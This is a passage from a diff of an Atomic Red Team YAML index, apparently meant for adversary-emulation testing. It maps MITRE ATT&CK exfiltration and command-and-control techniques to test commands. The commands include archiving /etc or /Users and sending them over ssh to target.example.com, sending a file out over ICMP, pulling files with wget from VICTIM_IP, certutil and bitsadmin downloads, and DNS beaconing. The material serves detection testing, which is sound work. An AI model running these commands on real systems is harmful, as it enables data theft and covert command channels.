should be compressed type: Path - default: "/tmp/victim-files/" + default: "/tmp/victim-gzip.txt" executor: - name: bash - command: 'scp #{username}@#{remote_host}:#{remote_file} #{local_path} + name: sh + elevation_required: false + command: 'gzip -f #{input_file} ' - - name: sftp remote file copy (push) - description: 'Utilize sftp to perform a remote file copy (push) + - name: Data Compressed - nix - tar Folder or File + description: 'An adversary may compress data (e.g., sensitive documents) that + is collected prior to exfiltration. This test uses standard gzip compression. ' supported_platforms: - linux - macos input_arguments: - local_file: - description: Path of file to copy - type: Path - default: "/tmp/adversary-sftp" - username: - description: User account to authenticate on remote host - type: String - default: victim - remote_host: - description: Remote host to copy toward - type: String - default: victim-host - remote_path: - description: Remote path to receive sftp + input_file_folder: + description: Path that should be compressed type: Path default: "/tmp/victim-files/" - executor: - name: bash - command: 'sftp #{username}@#{remote_host}:#{remote_path} <<< $''put #{local_file}'' - -' - - name: sftp remote file copy (pull) - description: 'Utilize sftp to perform a remote file copy (pull) - -' - supported_platforms: - - linux - - macos - input_arguments: - remote_file: - description: Path of file to copy - type: Path - default: "/tmp/adversary-sftp" - username: - description: User account to authenticate on remote host - type: String - default: adversary - remote_host: - description: Remote host to copy from - type: String - default: adversary-host - local_path: - description: Local path to receive sftp + output_file: + description: File that should be output type: Path - default: "/tmp/victim-files/" + default: "/tmp/victim-files.tar.gz" executor: - name: bash - command: 'sftp #{username}@#{remote_host}:#{remote_file} #{local_path} + name: sh + elevation_required: false + command: 'tar -cvzf #{output_file} #{input_file_folder}' + T1022: + technique: + x_mitre_data_sources: + - File monitoring + - Process monitoring + - Process command-line parameters + - Binary file metadata + name: Data Encrypted + description: |- + Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip. -' - - name: certutil download (urlcache) - description: 'Use certutil -urlcache argument to download a file from the web. - Note - /urlcache also works! + Other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) + id: attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638 + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: "Encryption software and encrypted files can be detected + in many ways. Common utilities that may be present on the system or brought + in by an adversary may be detectable through process monitoring and monitoring + for command-line arguments for known encryption utilities. This may yield + a significant amount of benign events, depending on how systems in the environment + are typically used. Often the encryption key is stated within command-line + invocation of the software. \n\nA process that loads the Windows DLL crypt32.dll + may be used to perform encryption, decryption, or verification of file signatures. + \n\nNetwork traffic may also be analyzed for entropy to determine if encrypted + data is being transmitted. (Citation: Zhang 2013) If the communications channel + is unencrypted, encrypted files of known file types can be detected in transit + during exfiltration with a network intrusion detection or data loss prevention + system analyzing file headers. (Citation: Wikipedia File Header Signatures)" + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_network_requirements: false + created: '2017-05-31T21:30:30.260Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: exfiltration + external_references: + - external_id: T1022 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1022 + - description: Zhang, H., Papadopoulos, C., & Massey, D. (2013, April). Detecting + encrypted botnet traffic. Retrieved August 19, 2015. + source_name: Zhang 2013 + url: http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf + - description: Wikipedia. (2016, March 31). List of file signatures. Retrieved + April 22, 2016. + source_name: Wikipedia File Header Signatures + url: https://en.wikipedia.org/wiki/List_of_file_signatures + modified: '2018-10-17T00:14:20.652Z' + identifier: T1022 + atomic_tests: + - name: Data Encrypted with zip and gpg + description: 'Encrypt data for exiltration ' supported_platforms: + - macos + - centos + - ubuntu + - linux + executor: + name: sh + elevation_required: false + command: | + echo "This file will be encrypted" > /tmp/victim-gpg.txt + mkdir /tmp/victim-files + cd /tmp/victim-files + touch a b c d e f g + zip --password "insert password here" /tmp/victim-files.zip /tmp/victim-files/* + gpg -c /tmp/victim-gpg.txt + + ls -l + - name: Compress Data and lock with password for Exfiltration with winrar + description: | + Note: Requires winrar installation + rar a -p"blue" hello.rar (VARIANT) + supported_platforms: - windows - input_arguments: - remote_file: - description: URL of file to copy - type: Url - default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt - local_path: - description: Local path to place file - type: Path - default: Atomic-license.txt executor: name: command_prompt elevation_required: false - command: 'cmd /c certutil -urlcache -split -f #{remote_file} #{local_path} - -' - - name: certutil download (verifyctl) - description: 'Use certutil -verifyctl argument to download a file from the web. - Note - /verifyctl also works! - -' + command: | + mkdir ./tmp/victim-files + cd ./tmp/victim-files + echo "This file will be encrypted" > ./encrypted_file.txt + rar a -hp"blue" hello.rar + dir + - name: Compress Data and lock with password for Exfiltration with winzip + description: | + Note: Requires winzip installation + wzzip sample.zip -s"blueblue" *.txt (VARIANT) supported_platforms: - windows - input_arguments: - remote_file: - description: URL of file to copy - type: Url - default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt - local_path: - description: Local path to place file - type: Path - default: Atomic-license.txt executor: - name: powershell + name: command_prompt elevation_required: false command: | - $datePath = "certutil-$(Get-Date -format yyyy_MM_dd_HH_mm)" - New-Item -Path $datePath -ItemType Directory - Set-Location $datePath - certutil -verifyctl -split -f #{remote_file} - Get-ChildItem | Where-Object {$_.Name -notlike "*.txt"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} } - - name: Windows - BITSAdmin BITS Download - description: | - This test uses BITSAdmin.exe to schedule a BITS job for the download of a file. - This technique is used by Qbot malware to download payloads. + path=%path%;"C:\Program Files (x86)\winzip" + mkdir ./tmp/victim-files + cd ./tmp/victim-files + echo "This file will be encrypted" > ./encrypted_file.txt + winzip32 -min -a -s"hello" archive.zip * + dir + - name: Compress Data and lock with password for Exfiltration with 7zip + description: 'Note: Requires 7zip installation + +' supported_platforms: - windows - input_arguments: - bits_job_name: - description: Name of the created BITS job - type: String - default: qcxjb7 - remote_file: - description: URL of file to copy - type: Url - default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt - local_path: - description: Local path to place file - type: Path - default: Atomic-license.txt executor: name: command_prompt - command: 'C:\Windows\System32\bitsadmin.exe /transfer #{bits_job_name} /Priority - HIGH #{remote_file} #{local_path}' - T1071: + elevation_required: false + command: | + mkdir ./tmp/victim-files + cd ./tmp/victim-files + echo "This file will be encrypted" > ./encrypted_file.txt + 7z a archive.7z -pblue + dir + T1030: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1071 - source_name: mitre-attack - external_id: T1071 - - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - source_name: University of Birmingham C2 - description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command - & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client - sending significantly more data than it receives from a server). Processes - utilizing the network that do not normally have network communication or have - never been seen before are suspicious. Analyze packet contents to detect application - layer protocols that do not follow the expected protocol for the port that - is being used. (Citation: University of Birmingham C2)' x_mitre_data_sources: - Packet capture - Netflow/Enclave netflow - Process use of network - - Malware reverse engineering - Process monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_network_requirements: true - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + name: Data Transfer Size Limits + description: An adversary may exfiltrate data in fixed size chunks instead of + whole files or limit packet sizes below certain thresholds. This approach + may be used to avoid triggering network data transfer threshold alerts. + id: attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd x_mitre_platforms: - Linux - macOS - Windows - kill_chain_phases: - - phase_name: command-and-control - kill_chain_name: mitre-attack - id: attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6 - name: Standard Application Layer Protocol - created: '2017-05-31T21:30:56.776Z' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' type: attack-pattern - description: |- - Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. - - For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP. - identifier: T1071 + x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client + sending significantly more data than it receives from a server). If a process + maintains a long connection during which it consistently sends fixed size + data packets or a process opens connections and sends fixed sized data packets + at regular intervals, it may be performing an aggregate data transfer. Processes + utilizing the network that do not normally have network communication or have + never been seen before are suspicious. Analyze packet contents to detect communications + that do not follow the expected protocol behavior for the port that is being + used. (Citation: University of Birmingham C2)' + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_network_requirements: true + created: '2017-05-31T21:30:34.523Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: exfiltration + external_references: + - external_id: T1030 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1030 + - source_name: University of Birmingham C2 + description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command + & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. + url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf + modified: '2019-06-24T12:03:02.387Z' + identifier: T1030 atomic_tests: - - name: Malicious User Agents - description: | - This test simulates an infected host beaconing to command and control. - Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat - supported_platforms: - - windows - input_arguments: - domain: - description: Default domain to simulate against - type: string - default: www.google.com - executor: - name: powershell - elevation_required: false - command: | - Invoke-WebRequest #{domain} -UserAgent "HttpBrowser/1.0" | out-null - Invoke-WebRequest #{domain} -UserAgent "Wget/1.9+cvs-stable (Red Hat modified)" | out-null - Invoke-WebRequest #{domain} -UserAgent "Opera/8.81 (Windows NT 6.0; U; en)" | out-null - Invoke-WebRequest #{domain} -UserAgent "*<|>*" | out-null - - name: Malicious User Agents - Nix - description: | - This test simulates an infected host beaconing to command and control. - Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat + - name: Data Transfer Size Limits + description: 'Take a file/directory, split it into 5Mb chunks + +' supported_platforms: - - linux - macos - input_arguments: - domain: - description: Default domain to simulate against - type: string - default: www.google.com + - centos + - ubuntu + - linux executor: name: sh + elevation_required: false command: | - curl -s -A "HttpBrowser/1.0" -m3 #{domain} - curl -s -A "Wget/1.9+cvs-stable (Red Hat modified)" -m3 #{domain} - curl -s -A "Opera/8.81 (Windows NT 6.0; U; en)" -m3 #{domain} - curl -s -A "*<|>*" -m3 #{domain} - - name: DNS Large Query Volume + cd /tmp/ + dd if=/dev/urandom of=/tmp/victim-whole-file bs=25M count=1 + split -b 5000000 /tmp/victim-whole-file + ls -l + T1048: + technique: + x_mitre_data_sources: + - User interface + - Process monitoring + - Process use of network + - Packet capture + - Netflow/Enclave netflow + - Network protocol analysis + name: Exfiltration Over Alternative Protocol + description: "Data exfiltration is performed with a different protocol from + the main command and control protocol or channel. The data is likely to be + sent to an alternate network location from the main command and control server. + Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network + protocol not being used as the main command and control channel. Different + channels could include Internet Web services such as cloud storage.\n\nAdversaries + may leverage various operating system utilities to exfiltrate data over an + alternative protocol. \n\nSMB command-line example:\n\n* net use \\\\\\attacker_system\\IPC$ + /user:username password && xcopy /S /H /C /Y C:\\Users\\\\* \\\\\\attacker_system\\share_folder\\\n\nAnonymous + FTP command-line example:(Citation: Palo Alto OilRig Oct 2016)\n\n* echo + PUT C:\\Path\\to\\file.txt | ftp -A attacker_system\n" + id: attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776 + x_mitre_network_requirements: true + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + type: attack-pattern + x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client + sending significantly more data than it receives from a server). Processes + utilizing the network that do not normally have network communication or have + never been seen before are suspicious. Analyze packet contents to detect communications + that do not follow the expected protocol behavior for the port that is being + used. (Citation: University of Birmingham C2)' + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Alfredo Abarca + created: '2017-05-31T21:30:44.720Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: exfiltration + external_references: + - external_id: T1048 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1048 + - description: Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware + Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017. + source_name: Palo Alto OilRig Oct 2016 + url: http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/ + - source_name: University of Birmingham C2 + description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command + & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. + url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf + modified: '2019-09-18T12:50:17.488Z' + identifier: T1048 + atomic_tests: + - name: Exfiltration Over Alternative Protocol - SSH description: | - This test simulates an infected host sending a large volume of DNS queries to a command and control server. - The intent of this test is to trigger threshold based detection on the number of DNS queries either from a single source system or to a single targe domain. + Input a domain and test Exfiltration over SSH + + Remote to Local supported_platforms: - - windows + - macos + - centos + - ubuntu + - linux input_arguments: - domain: - description: Default domain to simulate against - type: string - default: example.com - subdomain: - description: Subdomain prepended to the domain name + domain: + description: target SSH domain + type: url + default: target.example.com + user_name: + description: username for domain type: string - default: atomicredteam - query_type: - description: DNS query type + default: atomic + password: + description: password for user type: string - default: TXT - query_volume: - description: Number of DNS queries to send - type: integer - default: 1000 + default: atomic executor: - name: powershell + name: sh elevation_required: false - command: 'for($i=0; $i -le #{query_volume}; $i++) { Resolve-DnsName -type - "#{query_type}" "#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}" - -QuickTimeout} + command: 'ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz ' - - name: DNS Regular Beaconing + - name: Exfiltration Over Alternative Protocol - SSH description: | - This test simulates an infected host beaconing via DNS queries to a command and control server at regular intervals over time. - This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection. + Input a domain and test Exfiltration over SSH + + Local to Remote supported_platforms: - - windows + - macos + - centos + - ubuntu + - linux input_arguments: domain: - description: Default domain to simulate against - type: string - default: example.com - subdomain: - description: Subdomain prepended to the domain name + description: target SSH domain + type: url + default: target.example.com + user_name: + description: username for domain type: string - default: atomicredteam - query_type: - description: DNS query type + default: atomic + password: + description: password for user type: string - default: TXT - c2_interval: - description: Seconds between C2 requests to the command and control server - type: integer - default: 30 - c2_jitter: - description: Percentage of jitter to add to the C2 interval to create variance - in the times between C2 requests - type: integer - default: 20 - runtime: - description: Time in minutes to run the simulation - type: integer - default: 30 + default: atomic executor: - name: powershell + name: sh elevation_required: false - command: ".\\T1071-dns-beacon.ps1 -Domain #{domain} -Subdomain #{subdomain} - -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} - -RunTime #{runtime}\n" - - name: DNS Long Domain Query - description: | - This test simulates an infected host returning data to a command and control server using long domain names. - The simulation involves sending DNS queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DNS queries for long domain names over a set threshold. + command: 'tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh + #{user_name}@#{domain} ''cat > /Users.tar.gz.enc'' + +' + - name: Exfiltration Over Alternative Protocol - HTTP + description: 'A firewall rule (iptables or firewalld) will be needed to allow + exfiltration on port 1337. + +' + supported_platforms: + - macos + - centos + - ubuntu + - linux + executor: + name: manual + steps: | + 1. Victim System Configuration: + + mkdir /tmp/victim-staging-area + echo "this file will be exfiltrated" > /tmp/victim-staging-area/victim-file.txt + + 2. Using Python to establish a one-line HTTP server on victim system: + + cd /tmp/victim-staging-area + python -m SimpleHTTPServer 1337 + + 3. To retrieve the data from an adversary system: + + wget http://VICTIM_IP:1337/victim-file.txt + - name: Exfiltration Over Alternative Protocol - ICMP + description: 'Exfiltration of specified file over ICMP protocol. + +' supported_platforms: - windows input_arguments: - domain: - description: Default domain to simulate against - type: string - default: example.com - subdomain: - description: Subdomain prepended to the domain name (should be 63 characters - to test maximum length) - type: string - default: atomicredteamatomicredteamatomicredteamatomicredteamatomicredte - query_type: - description: DNS query type - type: string - default: TXT + input_file: + description: Path to file to be exfiltrated. + type: Path + default: C:\Windows\System32\notepad.exe + ip_address: + description: Destination IP address where the data should be sent. + type: String + default: 1.1.1.1 executor: name: powershell elevation_required: false - command: ".\\T1071-dns-domain-length.ps1 -Domain #{domain} -Subdomain #{subdomain} - -QueryType #{query_type}" - T1065: + command: '$ping = New-Object System.Net.Networkinformation.ping; foreach($Data + in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send("#{ip_address}", + 1500, $Data) } + +' +command-and-control: + '': + technique: + x_mitre_permissions_required: + - User + x_mitre_data_sources: + - Host network interface + - Netflow/Enclave netflow + - Network protocol analysis + - Packet capture + - SSL/TLS inspection + name: Web Service + description: |- + Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system. + + These commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers. + + Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. + + Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed). + modified: '2019-07-18T21:21:18.135Z' + id: attack-pattern--830c9528-df21-472c-8c14-a036bf17d665 + x_mitre_network_requirements: true + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: 'Host data that can relate unknown or suspicious process + activity using a network connection is important to supplement any existing + indicators of compromise based on malware command and control signatures and + infrastructure or the presence of strong encryption. Packet capture analysis + will require SSL/TLS inspection if data is encrypted. Analyze network data + for uncommon data flows (e.g., a client sending significantly more data than + it receives from a server). User behavior monitoring may help to detect abnormal + patterns of activity. Analyze packet contents to detect communications that + do not follow the expected protocol behavior for the port that is being used. + (Citation: University of Birmingham C2)' + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Anastasios Pingios + created: '2017-05-31T21:31:13.915Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: command-and-control + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1102 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1102 + - source_name: University of Birmingham C2 + description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command + & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. + url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf + x_mitre_defense_bypassed: + - Binary Analysis + - Log analysis + - Firewall + atomic_tests: [] + T1090: technique: + x_mitre_data_sources: + - Process use of network + - Process monitoring + - Netflow/Enclave netflow + - Packet capture + name: Connection Proxy + description: |- + Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. + + External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the internet and then the proxy would forward communications to the C2 server. + + Internal connection proxies can be used to consolidate internal connections from compromised systems. Adversaries may use a compromised internal system as a proxy in order to conceal the true destination of C2 traffic. The proxy can redirect traffic from compromised systems inside the network to an external C2 server making discovery of malicious traffic difficult. Additionally, the network can be used to relay information from one system to another in order to avoid broadcasting traffic to all systems. + id: attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea + modified: '2019-07-08T21:11:18.343Z' + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '2.0' + type: attack-pattern + x_mitre_detection: |- + Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious. + + Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Brian Prange + - Heather Linn + - Walker Johnson + created: '2017-05-31T21:31:08.479Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: command-and-control + - kill_chain_name: mitre-attack + phase_name: defense-evasion external_references: - - url: https://attack.mitre.org/techniques/T1065 + - external_id: T1090 source_name: mitre-attack - external_id: T1065 - - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - source_name: University of Birmingham C2 + url: https://attack.mitre.org/techniques/T1090 + - source_name: Trend Micro APT Attack Tools + description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools + of the Trade. Retrieved December 2, 2015.' + url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/ + - source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. + url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf + x_mitre_defense_bypassed: + - Log Analysis + - Firewall + identifier: T1090 + atomic_tests: + - name: Connection Proxy + description: | + Enable traffic redirection. + + Note that this test may conflict with pre-existing system configuration. + supported_platforms: + - macos + - linux + input_arguments: + proxy_server: + description: Proxy server URL (host:port) + type: url + default: 127.0.0.1:8080 + proxy_scheme: + description: Protocol to proxy (http or https) + type: string + default: http + executor: + name: sh + command: 'export #{proxy_scheme}_proxy=#{proxy_server} + +' + cleanup_command: |- + unset http_proxy + unset https_proxy + T1132: + technique: + x_mitre_data_sources: + - Packet capture + - Process use of network + - Process monitoring + - Network protocol analysis + x_mitre_permissions_required: + - User + name: Data Encoding + description: 'Command and control (C2) information is encoded using a standard + data encoding system. Use of data encoding may be to adhere to existing protocol + specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or + other binary-to-text and character encoding systems. (Citation: Wikipedia + Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data + encoding systems may also result in data compression, such as gzip.' + id: attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f + x_mitre_contributors: + - Itzik Kotler, SafeBreach + x_mitre_platforms: + - Linux + - macOS + - Windows object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)' + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_network_requirements: true + created: '2017-05-31T21:31:43.540Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: command-and-control + external_references: + - external_id: T1132 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1132 + - source_name: Wikipedia Binary-to-text Encoding + description: Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved + March 1, 2017. + url: https://en.wikipedia.org/wiki/Binary-to-text_encoding + - source_name: Wikipedia Character Encoding + description: Wikipedia. (2017, February 19). Character Encoding. Retrieved + March 1, 2017. + url: https://en.wikipedia.org/wiki/Character_encoding + - source_name: University of Birmingham C2 + description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command + & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. + url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf + modified: '2019-06-14T17:35:11.182Z' + identifier: T1132 + atomic_tests: + - name: Base64 Encoded data. + description: 'Utilizing a common technique for posting base64 encoded data. + +' + supported_platforms: + - macos + - linux + input_arguments: + destination_url: + description: Destination URL to post encoded data. + type: string + default: redcanary.com + base64_data: + description: Encoded data to post using fake Social Security number 111-11-1111. + type: string + default: MTExLTExLTExMTE= + executor: + name: sh + command: | + echo -n 111-11-1111 | base64 + curl -XPOST #{base64_data}.#{destination_url} + T1105: + technique: x_mitre_data_sources: - - Netflow/Enclave netflow + - File monitoring + - Packet capture - Process use of network + - Netflow/Enclave netflow + - Network protocol analysis - Process monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_network_requirements: true - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_permissions_required: + - User + name: Remote File Copy + description: |- + Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as [FTP](https://attack.mitre.org/software/S0095). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp. + + Adversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076). + id: attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add x_mitre_platforms: - Linux - macOS - Windows - kill_chain_phases: - - phase_name: command-and-control - kill_chain_name: mitre-attack - id: attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0 - name: Uncommonly Used Port - created: '2017-05-31T21:30:53.408Z' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' type: attack-pattern - description: Adversaries may conduct C2 communications over a non-standard port - to bypass proxies and firewalls that have been improperly configured. - identifier: T1065 + x_mitre_detection: |- + Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious. + + Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_network_requirements: true + created: '2017-05-31T21:31:16.408Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: command-and-control + - kill_chain_name: mitre-attack + phase_name: lateral-movement + external_references: + - external_id: T1105 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1105 + - source_name: University of Birmingham C2 + description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command + & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. + url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf + modified: '2019-07-18T17:47:57.120Z' + identifier: T1105 atomic_tests: - - name: Testing usage of uncommonly used port with PowerShell - description: 'Testing uncommonly used port utilizing PowerShell + - name: rsync remote file copy (push) + description: 'Utilize rsync to perform a remote file copy (push) ' supported_platforms: - - windows + - linux + - macos input_arguments: - port: - description: Specify uncommon port number + local_path: + description: Path of folder to copy + type: Path + default: "/tmp/adversary-rsync/" + username: + description: User account to authenticate on remote host type: String - default: '8081' - domain: - description: Specify target hostname + default: victim + remote_host: + description: Remote host to copy toward type: String - default: google.com + default: victim-host + remote_path: + description: Remote path to receive rsync + type: Path + default: "/tmp/victim-files" executor: - name: powershell - elevation_required: false - command: 'test-netconnection -ComputerName #{domain} -port #{port} + name: bash + command: 'rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path} ' - - name: Testing usage of uncommonly used port - description: 'Testing uncommonly used port utilizing telnet. + - name: rsync remote file copy (pull) + description: 'Utilize rsync to perform a remote file copy (pull) ' supported_platforms: - linux - macos input_arguments: - port: - description: Specify uncommon port number + remote_path: + description: Path of folder to copy + type: Path + default: "/tmp/adversary-rsync/" + username: + description: User account to authenticate on remote host type: String - default: '8081' - domain: - description: Specify target hostname + default: adversary + remote_host: + description: Remote host to copy from type: String - default: google.com - executor: - name: sh - elevation_required: false - command: 'telnet #{domain} #{port} - -' -impact: - T1485: - technique: - external_references: - - external_id: T1485 - 